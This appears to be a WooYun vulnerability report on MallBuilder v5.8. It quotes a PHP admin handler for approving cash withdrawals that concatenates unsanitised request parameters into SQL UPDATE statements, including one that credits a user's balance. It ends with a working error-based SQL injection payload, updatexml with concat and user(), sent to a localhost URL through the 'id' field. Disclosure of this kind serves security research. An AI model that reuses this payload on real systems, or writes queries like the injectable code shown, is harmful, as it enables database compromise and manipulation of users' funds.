WooYun.org

if($_GET['operation']=='edit')
{
	
	$sql="SELECT a.*,b.*,c.name as supportTimeName FROM ".CASHPICKUP." a left join ".PUSER." b on a.pay_uid=b.pay_id left join ".FEE." c on a.supportTime=c.id where a.id='$_GET[id]'";
	$db->query($sql);
	$de=$db->fetchRow();
	
	if($_POST['act']=='edit')
	{
		$add_time=time();
		if($_POST['result']==10)
		{
			$sql = "update ".CASHPICKUP." set is_succeed='10',censor='$_SESSION[ADMIN_USER]',con='$_POST[con]' where id='$_POST[id]'";
			$db->query($sql);
		}
		if($_POST['result']==20)
		{
			$sql = "update ".CASHPICKUP." set is_succeed='20',bankflow='$_POST[bankflow]',con='$_POST[con]',check_time='$add_time', censor='$_SESSION[ADMIN_USER]' 	where id='$_POST[id]'";
			$db->query($sql);
			
			$sql="update ".CASHFLOW." set statu=4 where order_id='$_POST[id]' and pay_uid='$_POST[userid]'";
		$db->query($sql);
			
		}
		if($_POST['result']==50)
		{
			$sql = "update ".CASHPICKUP." set is_succeed='50', check_time='$add_time', censor='$_SESSION[ADMIN_USER]',con='$_POST[con]' where id=$_POST[id]";
			$db->query($sql);
			
			$m=$de['amount']+$de['fee'];
			//----------------------增加可用资金
			$sql = "update ".PUSER." set cash=cash+$m where pay_id=$_POST[userid]";
			$db->query($sql);
			//----------------------更新流水状态为0
			$sql="update ".CASHFLOW." set statu=0 where order_id='$_POST[id]' and pay_uid='$_POST[userid]'";
			$db->query($sql);
		}	
		msg("?m=payment&s=withdraw.php");
	}
}

http://127.0.0.1/mallbuilderv5.8/?m=payment&s=admin/withdraw&operation=edit

result=50&id=updatexml(1,concat(0x5c,user()),1)&act=edit